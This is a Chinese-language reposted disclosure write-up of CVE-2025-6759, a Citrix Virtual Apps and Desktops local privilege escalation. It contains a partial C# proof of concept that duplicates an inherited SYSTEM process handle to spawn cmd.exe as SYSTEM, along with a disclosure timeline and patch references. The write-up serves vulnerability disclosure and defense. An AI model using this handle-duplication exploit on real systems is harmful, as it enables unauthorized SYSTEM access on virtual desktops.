文章总结: Certitude发现CitrixVirtualAppsandDesktops中存在CVE-2025-6759本地权限提升漏洞,允许低权限用户通过利用CtxGfx.exe进程继承SYSTEM权限的GfxMgr.exe句柄来执行任意代码。该漏洞利用WindowsAPI函数OpenProcess、DuplicateHandle和CreateProcess,通过自定义C#程序实现权限提升。Citrix已于2025年7月8日发布安全公告和补丁。
综合评分: 85
文章分类: 漏洞分析,漏洞预警,WEB安全,应用安全,网络安全
CVE-2025-6759:Citrix Virtual Apps and Desktops 中的本地权限提升
Ots安全
2025年8月13日 13:56
广东
Certitude 发现 Citrix Virtual Apps and Desktops 中存在一个本地权限提升漏洞,该漏洞允许控制虚拟桌面中低权限用户的攻击者可靠地将权限提升至。我们已将这一发现告知 Citrix,他们早在两个月前就已知晓此问题。近期已发布了SYSTEM补丁和安全公告。
发现
在网络渗透测试中,当我们登录虚拟桌面时,我们注意到一个名为 的 Citrix 进程CtxGfx.exe正在我们用户的上下文中运行(见图 1)。该进程似乎继承了PROCESS_ALL_ACCESS其父进程的句柄GfxMgr.exe(见图 2),而父进程以 的身份运行SYSTEM。由于这种情况,我们可以通过复制进程句柄并使用它创建“子”进程来执行任意代码SYSTEM。
图 1:我们当前的用户是 CtxGfx.exe 进程的所有者
图 2:该CtxGfx.exe进程有一个GfxMgr.exe句柄PROCESS_ALL_ACCESS
开发
为了利用这种情况,我们开发了一个自定义 C# 程序,该程序使用 Windows API 函数来执行以下操作:
- CtxGfx.exe打开(OpenProcess3)的句柄
- 复制句柄(CtxGfx.exe4 )GfxMgr.exeDuplicateHandle
- cmd.exe使用重复的句柄创建一个进程,并将其设置GfxMgr.exe为父进程(CreateProcess5)
部分代码如下所示。值得注意的是,必须准备一个特定的STARTUPINFO6cmd.exe结构体,它将进程的父进程 ( PROC_THREAD_ATTRIBUTE_PARENT_PROCESS7 ) 设置为GfxMgr.exe以 身份运行的进程SYSTEM。
using System;
using System.Runtime.InteropServices;
namespaceUpperHandle
{
internalclassProgram
{
...SNIP...
staticvoidMain(string[] args)
{
...SNIP...
IntPtr hMediumProcess = OpenProcess(ProcessAccessFlags.DuplicateHandle, false, uint.Parse(args[0]));
IntPtr dupHandle;
if (!DuplicateHandle(hMediumProcess, (IntPtr)uint.Parse(args[1]), GetCurrentProcess(), out dupHandle, 0x001F0000, false, 0x00000002))
{
Console.WriteLine("[-] ERROR: DuplicateHandle -- " + Marshal.GetLastWin32Error());
return;
}
STARTUPINFOEX si = new STARTUPINFOEX();
si.StartupInfo.cb = Marshal.SizeOf(typeof(STARTUPINFOEX));
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
IntPtr size = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref size);
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, (UIntPtr)size.ToInt32());
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, ref size);
IntPtr attribute = new IntPtr(0x00020000); // PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
IntPtr dupHandlePtr = Marshal.AllocHGlobal(IntPtr.Size);
Marshal.WriteIntPtr(dupHandlePtr, dupHandle);
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, attribute, dupHandlePtr, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero))
{
Console.WriteLine("[-] ERROR: UpdateProcThreadAttribute -- " + Marshal.GetLastWin32Error());
return;
}
bool success = CreateProcess(
null,
"C:\\Windows\\System32\\cmd.exe",
IntPtr.Zero,
IntPtr.Zero,
true,
0x00080000 | 0x00000010, // EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE
IntPtr.Zero,
null,
ref si,
out pi
);
}
}
}
图 3 演示了成功的利用过程。第一个参数是 的进程 ID CtxGfx.exe,第二个参数是 的句柄 ID GfxMgr.exe,均为十进制值 (0x198 = 408)。
图 3:使用我们的自定义 POC 程序生成一个cmd.exe进程SYSTEM
披露时间表
- 2025 年 5 月 – William Moody和Edwin Schönegger发现该问题。
- 2025 年 5 月 17 日 – 向 Citrix 披露此问题。
- 2025 年 6 月 13 日——Citrix 承认了该报告。
- 2025 年 7 月 7 日——Citrix 通知我们,他们已经意识到该漏洞。
- 2025 年 7 月 8 日——Citrix 发布了安全公告1。
参考
https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX694820
https://www.rapid7.com/blog/post/cve-2025-6759-citrix-virtual-apps-and-desktops-fixed/
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://learn.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-duplicatehandle
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Ots安全 《CVE-2025-6759:Citrix Virtual Apps and Desktops 中的本地权限提升》